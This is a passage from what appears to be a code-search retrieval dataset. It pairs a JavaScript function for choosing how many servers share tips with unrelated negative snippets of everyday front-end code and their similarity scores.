atk\r\n\t\t\t$(event.target).parents(\"tr\").find(\"td\").eq(3).html(equipment[newEquip].def); //tool def\r\n\t\t}\r\n\t}\r\n\tupdateTempStats();\r\n}", "function stats() {\n\t$('.stats').show(); // show STATS\n\tnt += 1;\n\t$('.stats p span').text(nt);\n}", "function stealthWeapon() {\n var currentUnitPoints = parseInt(event.target.parentNode.childNodes[2].childNodes[0].innerHTML);\n var currentTotal = parseInt(totalPoints.innerText);\n if (event.target.value === \"Fusion Blaster - 4pt\") {\n totalPoints.innerText = currentTotal +4;\n event.target.parentNode.childNodes[2].childNodes[0].innerHTML = currentUnitPoints +4;\n } else {\n totalPoints.innerText = currentTotal -4;\n event.target.parentNode.childNodes[2].childNodes[0].innerHTML = currentUnitPoints -4;\n }\n}", "showEggs() {\n this.UpdatePoppedEggCount();\n }", "readjust_subtask_opacities() {\n for (const st_key in this.subtasks) {\n let sliderval = jquery_default()(\"#tb-st-range--\" + st_key).val();\n jquery_default()(\"div#canvasses__\" + st_key).css(\"opacity\", sliderval/100);\n }\n }", "function calcPrestigeLevel() {\n\n}", "function calcStats(totals){\n //stats additions \n exp += 5;\n \n var totalCalories = totals[0]; \n var totalProtein = totals[1]; \n var totalFat = totals[2]; \n var totalCarbs = totals[3]; \n var totalFiber = totals[4]; \n \n energy = Math.round((totalCalories / DAILYCALORIES) * 100);\n strength = Math.round((totalProtein / DAILYPROTIEN) * 100);\n defense= Math.round((totalFat / DAILYFAT) * 100);\n speed = Math.round((totalFiber / DAILYCALORIES) * 100);\n \n if(totalCalories > DAILYCALORIES){\n energy = energy / 2; \n }\n else if(totalProtein > DAILYPROTIEN){\n strength = strength / 2; \n }\n \n else if(totalFat > DAILYFAT){\n defense = defense / 2; \n }\n \n else if(totalCarbs > DAILYCARBS){\n speed = speed / 2; \n }\n \n if(exp % 100 === 0){\n level++; \n }\n \n \n ref.set({\n energy:energy,\n strength:strength,\n defense:defense,\n speed:speed,\n exp:exp,\n level:level\n })\n \n //declare next button\n var next = $('<h3><div class=\"next\"><i class=\"fa fa-long-arrow-right fa-sm\"></i> Next</div></h3>');\n \n \n //writes to the html \n $('.overlay-menu').prepend('<h1 style=\"color:red\">+'+5+' exp added!</h1>'); \n $('.overlay-menu').append(next); \n \n //next on click handler \n next.on('click',function(){\n playSound(confirmSound); \n $('.next').css('color', 'darkgreen');\n $('.overlay-menu').empty();\n \n var newDiv = $('<div>'); \n \n var header = '<h1><span><i class =\"fa fa-cutlery fa-sm\"></i></span> Your<span> meal</span> information!</h1>'; \n \n newDiv.append(header); \n newDiv.append('<div><h3> Total Calories: '+Math.round(totals[0])+'</h3></div>');\n newDiv.append('<div><h3> Total Protein: '+Math.round(totals[1])+'</h3></div>');\n newDiv.append('<div><h3> Total Fat: '+Math.round(totals[2])+'</h3></div>');\n newDiv.append('<div><h3> Total Carbs: '+Math.round(totals[3])+'</h3></div>');\n newDiv.append('<div><h3> Total Fiber: '+Math.round(totals[4])+'</h3></div>');\n \n $('.overlay-menu').prepend('<h1 style=\"color:red\">+'+5+' exp added!</h1>'); \n $('.overlay-menu').append(newDiv);\n \n //backbtn\n createBackBtn(); \n \n \n })\n \n}", "function optionChanged(value){\n sampleMetaData(value);\n pieChart(value);\n bubbleChart(value);\n gaugechart(value);\n}", "function reportMousePct() {\n\t\t\tvar pct = Math.min(intervalMousePct, 100);\n\n\t\t\tif (pct !== 0) {\n\t\t\t\tt.set(\"mousepct\", pct);\n\t\t\t}\n\n\t\t\t// reset count\n\t\t\tintervalMousePct = 0;\n\t\t}", "function showChances(){\r\n document.getElementById(\"chancediv\").innerHTML=\"Chances: \"+chances;\r\n }", "function showTrendHover(){\n trendHover[i].style.display = \"flex\";\n //la condición para el gif en la posición quinta que posee un width diferente\n if((i+1)%5 == 0){\n trendHover[i].style.width = '41.1%';\n };\n }", "function clickPercent (e, line, lineWidth) {\n return (e.pageX - line.offset().left) / lineWidth\n }", "function presentQ(){\n document.getElementById(\"fc_info\").innerHTML = \"Frage \"+(Math.round(chosen/2))+\"/\"+Math.round(karten/2); \n}", "function dropdownTotalAmounts()\n{\n\t// $('div.notification-container').slideDown();\n\n\tvar dropdownCounts = $('#dropdown_id');\n\tvar dropdownIcon = $('#dropdown_icon');\n \n if(dropdownCounts.hasClass('dropdown_closed'))\n {\n dropdownCounts.removeClass('dropdown_closed');\n dropdownCounts.addClass('dropdown_open');\n\n dropdownIcon.removeClass('fa-chevron-down');\n dropdownIcon.addClass('fa-chevron-up');\n\n\n $('div.notification-container').slideDown();\n\n }\n else if(dropdownCounts.hasClass('dropdown_open'))\n {\n \tdropdownCounts.removeClass('dropdown_open');\n dropdownCounts.addClass('dropdown_closed');\n\n dropdownIcon.removeClass('fa-chevron-up');\n dropdownIcon.addClass('fa-chevron-down');\n\n $('div.notification-container').slideUp();\n }\n}", "function toolTipHTML() {\n return \"100\";\n }", "function pop_percent(a) {\n return value(a) / total;\n }", "calculateDivisions(event) {\n var userInput = event.target.value;\n this.percentage = userInput.length === 0 ? 20 : 100 / userInput;\n console.log(this.percentage);\n this.applyWidth();\n }", "function updateInspectToolMenu(status){\n\n var layoutRegionToolMenu = $(\"#perc-region-tool-menu\");\n layoutRegionToolMenu.html(\"\");\n layoutRegionToolMenu.PercDropdown({\n percDropdownRootClass: \"perc-region-tool-menu\",\n percDropdownOptionLabels: [\"\", \"Stacked\", \"Side by Side\"],\n percAppendDropdownButton: true,\n percDropdownCallbacks: [function(){\n }, _splitRegionHorizontal, _splitRegionVertical],\n percDropdownCallbackData: [\"\", \"Stacked\", \"Side by Side\"],\n percDropdownDisabledFlag: [false, status, status],\n percDropdownItemImage: ['', '../images/images/menuIconStacked.png', '../images/images/menuIconSide.png'],\n percDropdownDisabledItemImage: ['', '../images/images/menuIconStackedGray.png', '../images/images/menuIconSideGray.png']\n });\n }", "function showProgress(prefix, ev) {\n var loaded = 0;\n if (undefined !== ev.total) {\n document.getElementById(prefix + '-phase-total').innerHTML = 'of ' + String(ev.total);\n document.getElementById(prefix + '-progress').setAttribute('value', ev.loaded);\n document.getElementById(prefix + '-progress').setAttribute('max', ev.total);\n document.getElementById(prefix + '-phase').innerHTML = ev.loaded;\n } else {\n console.log(ev);\n loaded = Number(document.getElementById(prefix + '-phase').innerHTML)\n document.getElementById(prefix + '-phase').innerHTML = loaded + 1;\n }\n }", "function HelpBeaver(i) {\n //chcecking if there is enough resources \n if (amounts[i] > 0) {\n //increasing level\n levels[i] += 5;\n //update value in progress bar\n document.getElementsByTagName(\"progress\")[i].value = levels[i];\n //decreasing amount of resource\n amounts[i]--; \n }\n else\n {\n //no resources alert\n alert(\"You don't have resources\");\n }\n}", "function MemberReview(){\n $('.progress-rv').each(function (index,value){\n var datavalue=$(this).attr('data-value'),\n point=datavalue*10;\n $(this).append(\"<div style='width:\"+point+\"%'><span>\"+datavalue+\"</span></div>\")\n })\n }", "function updateStatsOption() {\n var currText = 'Información';\n var currValue = (showStats ? 'ON': 'OFF');\n $('#optStats').attr('value', currText + ' (' + currValue + ')');\n}", "function showEnemySummary(){\n updateEnemySummary();\n var newStatus = $(\"<div>\").attr(\"id\",\"assetSummaryP\");\n var heading = $(\"<h1>\").text(\"EnemySummary\")\n var l1 = $(\"<p>\").text(\"Mortgaged Properties\")\n var s1 = $(\"<select>\").addClass(\"styled-select\")\n for(var i = 0 ; i < enemyMortgageSummary.length; i++){\n var newOption = $(\"<option>\").text(enemyMortgageSummary[i]);\n s1.append(newOption);\n }\n var l2 = $(\"<p>\").text(\"Properties in Play\")\n var s2 = $(\"<select>\").addClass(\"styled-select\")\n for(var i = 0 ; i < enemyPropertiesinPlaySummary.length; i++){\n var newOption = $(\"<option>\").text(enemyPropertiesinPlaySummary[i]+ \" from the \" + enemyPropertiesinPlayColors[i]+ \" set\");\n s2.append(newOption);\n }\n var l3 = $(\"<p>\").text(\"Basic Rent\")\n var s3 = $(\"<select>\").addClass(\"styled-select\")\n for(var i = 0 ; i < enemyBasicRentSummary.length; i++){\n var newOption = $(\"<option>\").text(enemyBasicRentSummary[i]);\n s3.append(newOption);\n }\n var l4 = $(\"<p>\").text(\"On 1st upgrade\")\n var s4 = $(\"<select>\").addClass(\"styled-select\")\n for(var i = 0 ; i < enemyU1Summary.length; i++){\n var newOption = $(\"<option>\").text(enemyU1Summary[i]);\n s4.append(newOption);\n }\n var l5 = $(\"<p>\").text(\"On 2nd upgrade\")\n var s5 = $(\"<select>\").addClass(\"styled-select\")\n for(var i = 0 ; i < enemyU2Summary.length; i++){\n var newOption = $(\"<option>\").text(enemyU2Summary[i]);\n s5.append(newOption);\n }\n var l6 = $(\"<p>\").text(\"On 3rd upgrade\")\n var s6 = $(\"<select>\").addClass(\"styled-select\")\n for(var i = 0 ; i < enemyU3Summary.length; i++){\n var newOption = $(\"<option>\").text(enemyU3Summary[i]);\n s6.append(newOption);\n }\n var l7 = $(\"<p>\").text(\"On 4th upgrade\")\n var s7 = $(\"<select>\").addClass(\"styled-select\")\n for(var i = 0 ; i < enemyU4Summary.length; i++){\n var newOption = $(\"<option>\").text(enemyU4Summary[i]);\n s7.append(newOption);\n }\n var button = $(\"<button>\").addClass(\"closeSummary\").text(\"Close\")\n newStatus.append(heading).append(l1).append(s1).append(l2).append(s2).append(l3).append(s3).append(l4).append(s4).append(l5).append(s5).append(l6).append(s6).append(l7).append(s7).append(button)\n newStatus.insertAfter(\"#playerStats\");\n $(\".closeSummary\").on(\"click\",function(){$(\"#assetSummaryP\").remove()})\n}", "function displayTotal() {\n\tscreen1.bugCount.html(prettyNumber(Math.round(state.larvae)));\n\tscreen1.larvaePerSec.html(prettyNumber(state.lps));\n}", "selectThreshold(eventKey, event) {\n this.changeAmountType(eventKey)\n }", "function Yes(){\r\n\r\n\ttitle.html( \"What kinds of books do you usually read?\");\r\n\tfirstOption.html(\"fictions and literatures\");\r\n\tsecondOption.html( \"professional book and reference books\");\r\n\r\n\tfirstOption.mousePressed(Money);\r\n\tsecondOption.mousePressed(No);\r\n\r\n}", "function atualizaQuantidadeMarcacoes(){\n\tvar contador = document.getElementById(\"numeroDeErrosMarcados\");// procura o local onde a quantidade de marcacao deve aparecer\n\tcontador.innerHTML = \"<font color= red>\" + clicked + \"</font>\" // Mostra a quantidade atual de marcacoes na pagina.\n}", "function chartacterProperty() {\n $('#yuna').text(yuna.hp);\n $('#tidus').text(tidus.hp);\n $('#auron').text(auron.hp);\n $('#lulu').text(lulu.hp);\n }", "function fiftyPercent(evt) {\n\twb.cm_percent = 0.5;\n\twb.drawRectForViewPort();\n\tvar element = document.querySelector('.code_map');\n\tvar transfromString = (\"scale(0.5, 0.5)\");\n // now attach that variable to each prefixed style\n element.style.webkitTransform = transfromString;\n element.style.MozTransform = transfromString;\n element.style.msTransform = transfromString;\n element.style.OTransform = transfromString;\n element.style.transform = transfromString;\n}", "function set_skill_percent(){\n $('.skill-percent-line').each(function() {\n var width = $(this).data( \"width\" );\n $( this ).animate({width: width+'%'}, 1000 );\n\n });\t\n}", "function percentage()\n {\n current_input = current_input / 100\n displayCurrentInput();\n }", "function action_configuration_options() {\n\t$('ul.click-options > li').click(function() {\n\t\tvar oSelectedOption = $(this);\n\t\tvar oContainer = oSelectedOption.parent();\n\t\tvar sTarget = oSelectedOption.parent().data('target');\n\t\tvar message = '';\n\n\t\t// if this option cannot be clicked, do not process the click\n\t\tif(oSelectedOption.hasClass('unclickable')) return;\n\n\t\t// clear selected option from this group and add selected to the chosen option\n\t\t$('li', oContainer).removeClass('selected');\n\t\toSelectedOption.addClass('selected');\n\n\t\t// set the value of the selected to option to the bound field\n\t\t$('input[name='+ sTarget +']').val(oSelectedOption.data('value'));\n\n\n\t\t// -- rules\n\n\t\t// check if we need to show the threshold warning message\n\t\tif(oContainer.attr('data-target') == 'threshold_id' && oContainer.data('warning-shown') == false && oSelectedOption.data('value') == '2') {\n\t\t\toContainer.data('warning-shown', true);\n\t\t\tmessage = '<small>Whilst a low threshold is available we highly recommend choosing a standard threshold for various technical and relevant reasons.</small>';\n\t\t\t$('div.modal div#warning-message').html(message);\n\t\t\t$('div.warning-message').modal('show');\n\t\t}\n\n\t\t// rules for the cill option\n\t\tif(oContainer.attr('data-target') == 'cill') {\n\t\t\tif(oSelectedOption.data('value') == '1' || oSelectedOption.data('value') == '2') {\n\t\t\t\t$('div.threshold ul li').removeClass('selected');\n\t\t\t\t$('div.threshold ul li[data-value=1]').addClass('selected');\n\t\t\t\t$('div.threshold ul li[data-value=2]').addClass('faded').addClass('unclickable');\n\t\t\t\t$('input[name=threshold_id]').val('1');\n\t\t\t} else {\n\t\t\t\t$('div.threshold ul li[data-value=2]').removeClass('faded').removeClass('unclickable');\n\t\t\t}\n\t\t}\n\n\n\t\t// update the image and price\n\t\tupdate_image_and_price();\n\t});\n}", "function autoclickprix(){\n return Math.round(200 * (nbMultiplicateurAmelioAutoclick * 0.40));\n}", "function showCoords(event) {\n var x = event.clientX;\n\tvar y = event.clientY;\n\tvar sheight=screen.height;\n\tvar swidth=screen.width;\n\tperc=x/swidth*100;\n }", "function progress(step, nbSteps, stepLabel) {\n var percent = (step/(nbSteps+1))*100;\n $(\"#progress .progress-bar\").attr('aria-valuenow', step).attr('aria-valuemax', nbSteps+1).attr('style','width:'+percent.toFixed(2)+'%').find(\"span\").html(step + \"/\" + nbSteps);\n $(\"#progressStep\").html(stepLabel);\n}", "function on_paint() {\r\n menu_dt()\r\n menu_idt()\r\n menu_tgt()\r\n menu_aa()\r\n menu_vis()\r\n menu_msc()\r\n handle_vis()\r\n handle_msc_two()\r\n}", "function percentageView(value){\n var showPercentage=(value/20)*100;\n return showPercentage;\n}", "function calculateTip(percent, total){\n if(percent > 100 ){\n console.error(\"Percent is greater than 100\");\n }\n else if(percent > 1){\n percent = percent / 100;\n }\n return total * percent;\n}", "function Pssbar(pr) {\n elem.style.width = pr + '%';\n elem.innerHTML = pr * 1 + '%';\n}", "function updateDescription() {\n\t\tvar msg_acct = parseInt(document.querySelector('input[name=\"filter_acct\"]:checked').value) ? \"Captain \" : \"Viewer \";\n\t\tvar msg_rare = parseInt(document.querySelector('input[name=\"filter_rare\"]:checked').value) ? \"Legendary\" : \"Non-Legendary\";\n\t\tvar e_start = document.getElementById(\"level_start\");\n\t\tvar val_start = e_start.options[e_start.selectedIndex].value;\n\t\tvar e_end = document.getElementById(\"level_end\");\n\t\tvar val_end = e_end.options[e_end.selectedIndex].value;\n\t\t\n\t\tconsole.log(\"Updating desc for {\" + val_start + \"} to {\" + val_end + \"}\");\n\t\t\n\t\tvar msg = \"Selected level range does not make sense\";\n\t\tif (val_start === \"unlock_initial\" || val_start === \"unlock_dupe\") {\n\t\t\tif (val_end !== \"unlock_initial\" && val_end !== \"unlock_dupe\") {\n\t\t\t\tvar type = val_start === \"unlock_initial\" ? \"initial\" : \"duplicate\";\n\t\t\t\tmsg = \"Cost to unlock \" + type + \"<br />\" + msg_acct + msg_rare + \" unit<br />and upgrade it to level \" + val_end;\n\t\t\t}\n\t\t} else if (val_end !== \"unlock_initial\" && val_end !== \"unlock_dupe\") {\n\t\t\tif (parseInt(val_end) > parseInt(val_start)) {\n\t\t\t\tmsg = \"Cost to upgrade<br />a \" + msg_acct + msg_rare + \" unit<br />from level \" + val_start + \" to level \" + val_end;\n\t\t\t}\n\t\t}\n\t\t\n\t\tdocument.getElementById(\"result_desc\").innerHTML = msg;\n\t}", "function drawslider(totalSeg, countSeg){\n var create_progress = Math.round((countSeg * 100)/totalSeg);\n document.getElementById(\"sliderbar\").style.width = create_progress+'%';\n document.getElementById(\"create_progress\").innerHTML = 'Creating summary...' + create_progress+'%';\n }", "function select(elt) {\n\n let chcount = elt.parentElement.nextElementSibling.childElementCount - 2;\n\n let nb = elt.selectedOptions[0].value;\n let kl = parseInt(nb) - 1;\n\n for (let d = 0; d < parseInt(chcount) + 1; d++) {\n\n elt.parentElement.nextElementSibling.children[d].style.display = 'none';\n }\n\n for (let f = 0; f < nb; f++) {\n\n elt.parentElement.nextElementSibling.children[f].style.display = 'block';\n }\n\n let tot = elt.parentElement.nextElementSibling.children[chcount].children[0].value;\n let rest = parseFloat(tot % nb).toFixed(2);\n\n if (rest == 0) {\n let diviser = tot / nb;\n\n for (let f = 0; f < nb; f++) {\n elt.parentElement.nextElementSibling.children[f].children[3].value = diviser;\n }\n\n } else {\n\n let totalCorrige = parseFloat(tot - rest).toFixed(2);\n let divise = parseFloat(totalCorrige / nb).toFixed(2);\n\n for (let f = 0; f < kl; f++) {\n elt.parentElement.nextElementSibling.children[f].children[3].value = divise;\n }\n\n let m = parseFloat(divise) + parseFloat(rest);\n elt.parentElement.nextElementSibling.children[kl].children[3].value = parseFloat(m).toFixed(2);\n }\n\n elt.parentElement.nextElementSibling.children[chcount].style.display = 'block';\n elt.parentElement.nextElementSibling.lastElementChild.style.display = 'block';\n }", "function seventyPercent(evt) {\n\twb.cm_percent = 0.7;\n\twb.drawRectForViewPort();\n\tvar element = document.querySelector('.code_map');\n\tvar transfromString = (\"scale(0.7, 0.7)\");\n // now attach that variable to each prefixed style\n element.style.webkitTransform = transfromString;\n element.style.MozTransform = transfromString;\n element.style.msTransform = transfromString;\n element.style.OTransform = transfromString;\n element.style.transform = transfromString;\n}", "function updateProgress (evt) {\n\n if (evt.lengthComputable) {\n var percentComplete = Math.floor((evt.loaded / evt.total) * 100),\n percentIntegrated = (percentComplete / 100) * options.width;\n\n // Display progress status\n if(options.progress != false) {\n $(options.progress).text(percentComplete); \n }\n\n // Convert 'percentComplete' to preloader element's width\n $(options.gazer).stop(true).animate({\n width: percentIntegrated\n }, function() {\n options.done.call();\n });\n\n } else {\n // when good men do nothing \n }\n }", "#updatePercentage() {\n //1. calculate the percentage\n model.calculatePercentages();\n //2. Read the percentage from th budget controller\n var percentage = model.getPercentages();\n //3. display the percentage to the UI\n addItemsView.displayPercentage(percentage);\n }", "function percentage() {\ncurrentInput = currentInput / 100;\ndisplayCurrentInput();\n}", "function updateOffsides()\n{\n totalOffsides = T1.offsides + T2.offsides;\n\n var t1_bar = Math.floor((T1.offsides / totalOffsides) * 100);\n var t2_bar = 100 - t1_bar;\n\n document.querySelector(\".t1-off-num\").innerHTML = \"<b>\" + T1.offsides + \"</b>\";\n document.querySelector(\".t2-off-num\").innerHTML = \"<b>\" + T2.offsides + \"</b>\";\n\n var bar1 = document.getElementsByClassName(\"t1-off-bar\")[0].style;\n var bar2 = document.getElementsByClassName(\"t2-off-bar\")[0].style;\n\n updateBarColor(t1_bar, t2_bar, bar1, bar2);\n\n bar1.width = t1_bar.toString() + \"%\";\n bar2.width = t2_bar.toString() + \"%\";\n}", "function eventhandler() {\n\n\tvar bloc = $$(\".block\");\n\tvar sel = this.getAttribute(\"data-index\");\n\tvar sco = parseInt($('score').innerHTML);\n\n\n\tif (bloc[sel].hasClassName(\"target\")) {\n\t\tsco += 20;\n\t\tbloc[sel].removeClassName(\"target\");\n\t\ttargetBlocks.splice(targetBlocks.indexOf(sel),1);\n\t}\n\telse if (bloc[sel].hasClassName(\"trap\")) {\n\t\tsco -= 30;\n\t\tbloc[sel].removeClassName(\"trap\");\n\t\ttrapBlock = null;\n\t}\n\telse {\n\t\tsco -= 10;\n\t\tbloc[sel].addClassName(\"wrong\");\n\n\t\tinstantTimer = setTimeout(function() {\n\t\t\tbloc[sel].removeClassName(\"wrong\");\n\t\t}, 100);\n\t}\n\n\t$(\"score\").innerHTML = sco ;\n}", "function menuOptions() {}", "function minorityPercent(tractData) {\n var fieldName = $('#category-selector option:selected').val();\n if (fieldName.substring(0, 4) === 'inv_') {\n return 1 - tractData[fieldName.substr(4)];\n } else {\n return tractData[fieldName];\n }\n }", "function showMoreHighScores() {\n\n // Remove the See More Option\n UI.displaySeeMore(false);\n\n // Show all the high scores \n UI.displayHighScores(highScoreConfig.total);\n\n // Add the See Less Option\n UI.displaySeeLess(true);\n}", "function metaProgress() {\n\t$('#metabar').css(\"width\", function() {\n\t\treturn $(this).attr(\"aria-valuenow\") + \"%\";\n\t});\n}", "function optionChanged(newsampleID)\n{\n console.log(\"Dropdown changed to:\", newsampleID);\n \n DrawBarGraph(newsampleID);\n DrawBubbleChart(newsampleID);\n ShowMetaData(newsampleID);\n}", "function prop(){\nalert(\"Proportion compares changes which affect one quantity when another quantity changes eg the time taken by a vehicle to cover a given distance changes with speed ie as the speed increases the vehicle takes less time and as the speed decreases the vehicle takes more time to cover the same distance.\");\nalert(\"20 packs of sweets cost $20.What will be the cost of 12 packs.ANSWER: the cost will increase or decrease in proportion to amount of packs ie 20packs:$20 and 12packs:x, now lets cross multiply ie 20× x=12×20, x=(12×20)/20=12, hence 12 packs will cost $12.\");\nalert(\"4 man can do a job in 7 days.How many days will 8 man take to do the same job,assuming they are all working at the same rate?ANSWER: lets do a simple proportion ie 4men: 7 days and 8men: x, in this case we dont cross multiply,but do a direct multiplication ie 4×7=8× x, 4/8× 7=½×7=3.5 hence 8 men will take 3. 5 days.\");\nalert(\"10 adults can sow 150kg of seed per day.How much seed will 8 adults sow at the same rate?ANSWER:Lets do a simple proportion ie 10:150 and 8:x .Do a direct multiplication 10×150=8× x, x=(10×150)/8=187.5 hence 8 men will sow 187.5kg per day.\");\n}", "function optionChanged(newSampleID) {\n showDemographicInfo(newSampleID); \n drawBarGraph(newSampleID);\n drawBubbleChart(newSampleID); \n\n console.log(\"Dropdown changed to:\", newSampleID);\n}", "openOptionsBar() {\n document.getElementById('optionsBar').style.width = \"33%\";\n }", "function color() {\n var tds = document.getElementById(\"demo\").getElementsByTagName(\"td\");\n var selectList = document.getElementById(\"taarih-azmana\");\n var count=0;\n for (i = 0; i < tds.length; i++) {\n if (tds[i].innerHTML <= 0.5) {\n tds[i - 1].style.backgroundColor = \"#90EE90\";\n var option = document.createElement(\"option\");\n option.value = tds[i - 1].innerHTML;\n option.text = tds[i - 1].innerHTML;\n selectList.add(option);\n count++;\n }\n }\n if(count === 0){\n swal(\n \"מתנצלים :( \",\n \"לצערנו לפי התחזית כרגע אין ימים מתאימים עבור חתירה על סאפ, נסה/י מחר ואולי התחזית תחייך אלייך\",\n \"info\",\n \n )\n \n}\n}", "onStatClick(event) {\n const { attr } = this.state;\n\n if (event.target.dataset.mode === '1') {\n const attrLeft = this.calcStats() - attr.reduce((accum, curr) => accum + curr);\n if (attrLeft > 0) attr[event.target.dataset.idx] += attrLeft;\n } else {\n attr[event.target.dataset.idx] += 5;\n }\n this.setState({ attr });\n }", "goodEvolve() {\n if (this.totalPoints >= 130){\n this.evoType = \"good\"\n } else {\n this.evoType = \"neutral\"\n }\n }" ]
[ "0.5988597", "0.5934374", "0.59144807", "0.5864045", "0.58455", "0.583954", "0.575667", "0.5741157", "0.56496006", "0.5545232", "0.5451211", "0.54364514", "0.5421094", "0.54173905", "0.54120904", "0.5395018", "0.5392512", "0.5386217", "0.5378401", "0.53758323", "0.5373406", "0.5342737", "0.5339416", "0.53151995", "0.52996016", "0.5290623", "0.52905107", "0.52689636", "0.5266133", "0.52628976", "0.5259168", "0.52567387", "0.52494395", "0.5246429", "0.5236721", "0.5229731", "0.5228642", "0.52273685", "0.5225605", "0.5217218", "0.5214936", "0.5205154", "0.52018106", "0.5197448", "0.5189687", "0.5186858", "0.51824886", "0.5181555", "0.51701003", "0.51697046", "0.5168016", "0.51588684", "0.5158459", "0.51521784", "0.51434714", "0.5141577", "0.51412183", "0.5136778", "0.51339966", "0.5124741", "0.5124662", "0.5120818", "0.511233", "0.51117134", "0.5110029", "0.5107258", "0.5106038", "0.51037264", "0.5099232", "0.5099139", "0.5095098", "0.5094582", "0.5086542", "0.50828224", "0.50810456", "0.50782096", "0.5076933", "0.50766677", "0.50722635", "0.5071334", "0.50696003", "0.50655097", "0.505836", "0.5057552", "0.5049081", "0.5044795", "0.50387776", "0.50372934", "0.503053", "0.5030155", "0.502782", "0.50253147", "0.5025173", "0.5024172", "0.50241584", "0.5020626", "0.50153506", "0.50153273", "0.5013913", "0.501202" ]
0.6684503
0
drop down menu of number of servers
function numberOfServersSelector() { var a = document.getElementById("numberOfServers").value; var b = document.getElementById("numberOfServersConfirm"); if (isNaN(a)) {b.innerHTML = "Nothing selecteed yet"} else { numberOfServers = parseInt(a); b.innerHTML = "All the tips will be devided for " + numberOfServers + " servers"; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setNumServers(num)\r\n{\r\n\tnumServers = num;\r\n}", "function getServersList() {\n if (window.sos && window.sos.length > 0) {\n var selectSrv = document.getElementById('server-select');\n for (var i = 0; i < sos.length; i++) {\n var srv = sos[i];\n var option = document.createElement('option');\n var serverLoopString = option.value = srv.ip + ':' + srv.po;\n option.text = (i + 1) + '. ' + option.value;\n selectSrv.appendChild(option);\n }\n } else {\n setTimeout(getServersList, 100);\n }\n }", "function getNumRequests() {\n var selector = document.getElementById(\"pages\");\n return selector.options[selector.selectedIndex].value;\n}", "function increaseServersCount() {\n var curServerCount = Number(serverCountInput.val()),\n newServerCount = curServerCount + 1;\n\n if (newServerCount <= MAX_SERVER_COUNT) {\n serverCountInput.val(newServerCount);\n drawNewServerCountItem(newServerCount);\n\n $('#server-count-decrease').prop('disabled', false);\n if (newServerCount === MAX_SERVER_COUNT) {\n $('#server-count-increase').prop('disabled', true);\n $('#server-count-maximum').removeClass('hidden');\n }\n }\n price.Calculate();\n }", "function SetNumOfResults() {\n\tvar numOfServices = store.data.length.toString();\n\t//console.log(numOfServices);\n\t\n\tvar sb = Ext.getCmp('search-statusbar');\n\tif (numOfServices == 1)\n\t\tsb.setStatus({\n\t\t\ttext: numOfServices + \" record\"\n\t\t});\n\telse\n\t\tsb.setStatus({\n\t\t\ttext: numOfServices + \" records\"\n\t\t});\n}", "function getPlayerCount() {\n // drop down menu\n let select = document.createElement(\"select\");\n select.name = \"player-count\";\n // add as many posible player numbers as allowed by the rules\n for (let i = 0; i < rules.maxPlayers; i++) {\n let optn = document.createElement(\"option\");\n optn.value = i + 1;\n optn.textContent = i + 1;\n // when an option is selected, the value will be saved and the popup\n // will be closed\n optn.addEventListener(\"click\", (e) => {\n playerCount = parseInt(e.target.value);\n e.target.parentNode.parentNode.style.display = \"none\";\n // second create these players\n createPlayers();\n });\n select.appendChild(optn);\n }\n createPopup(\"Enter number of players:\", select);\n}", "function numCheckedDatabases() {\n return checkedDatabases().length;\n //return $( \"#dbSelectedCount\" ).html();\n}", "getActiveServersCount() {\n var w = this;\n var c = 0;\n for (var s in w.servers) {\n if (w.servers[s].isBound()) c++;\n }\n return c;\n }", "function showNumbersOfEmployees() {\n\tvar inSystem = document.getElementById('inSystem');\n\tinSystem.textContent = \"Employees in system: \"+ li.length;\n}", "function selectServer(serverLoads) {\n // Not very efficient but super-clear way of finding the index of the server\n // with minimum load.\n var min = Math.min.apply(Math, serverLoads);\n var serverIndex = serverLoads.indexOf(min);\n\n // Servers are 1, 2, 3...\n return './server-' + (serverIndex + 1);\n}", "function loadSelector() {\n for (var i = 0; i < core.n_; i++) {\n $('#page-selector').append(\n [\"<option value='\", i, \"'>\", i + 1, '</option>'].join('')\n );\n }\n}", "function listServers() { \n\tlet serverItems = document.getElementsByClassName(\"serverListItem\");\n\n\twhile(serverItems.length > 0) {\n\t\tserverItems[0].parentNode.removeChild(serverItems[0]); // remove the available servers from the list each time the function is called\n\t}\n\t\n\tfor (let servers in serverList) {\n\t\tlet serverTime = serverList[servers].lastSeen;\n\n\t\tif (new Date() > new Date(serverTime.getTime() + 5000)) {\n\t\t\tdelete serverList[servers]; // remove a server from the list if it hasn't broadcast in 5 seconds\n\t\t} else {\n\t\t\tlet address = serverList[servers].address;\n\t\t\tlet port = serverList[servers].port;\n\t\n\t\t\tui.createNewServerElement(servers, address, port); // create a new element that contains the servers details and add it to the list\n\t\t}\n\t}\n}", "function decreaseServersCount() {\n var curServerCount = Number(serverCountInput.val()),\n newServerCount = curServerCount - 1;\n\n $('#server-count-maximum').addClass('hidden');\n\n if (newServerCount >= MIN_SERVER_COUNT) {\n $('.server__name-list .server__name-item:last-child').remove();\n serverCountInput.val(newServerCount);\n\n $('#server-count-increase').prop('disabled', false);\n if (newServerCount === MIN_SERVER_COUNT) {\n $('#server-count-decrease').prop('disabled', true);\n }\n }\n\n price.Calculate();\n }", "showNumberOfItems() {\n const message = document.createTextNode(\"Items:\" + this.data.length),\n numOfItems = document.getElementById(\"number-of-items\");\n numOfItems.innerHTML = \"\";\n numOfItems.appendChild(message);\n }", "function setNumObservatoriesOnline() {\n\tdocument.getElementById(\"obsOnline\").innerHTML = observatories.length;\n}", "function get_app_count(switcher, query){\n // TODO : add AHAH call to the php and query the App count\n var devices = 0;\n switch(switcher){\n case 'all':\n devices = 5430;\n break;\n case 'manual':\n devices = 250;\n break;\n }\n // set app count to a hidden variable\n $(\".display_count_hid\").val(devices);\n return devices;\n}", "function setupLimitDropDown() {\n document.getElementById('ddLimit').addEventListener(\"change\", function() {\n var selectedLimit = this.options[this.selectedIndex].value;\n communicator.limitTasks = selectedLimit\n if (selectedLimit === 'None')\n communicator.limitTasks = ''\n\n tasks_getAndDisplay()\n });\n}", "function getOptions() {\n // function to display the number of options in an alert()\n \n var valueOfItem = document.getElementById(\"mySelect\").value;\n var element=document.getElementById(\"mySelect\");\n var items = \"Total option: \";\n var i;\n len=document.getElementById(\"mySelect\").length; \n console.log(len);\n items = items+len;\n for (i=0;i<element.length;i++)\n {\n items = items + \"\\n\" + element.options[i].text;\n }\n alert(items +\"\\n\" +\" Selected item: \" +valueOfItem);\n \n \n }", "function itemsCount() {\n $(\"#itemsShow\").html(items);\n }", "function setHtmlUi() {\n // sets the count element\n document.getElementById(\"count\").innerHTML = index + \" of \" + vCount + \" Vertices 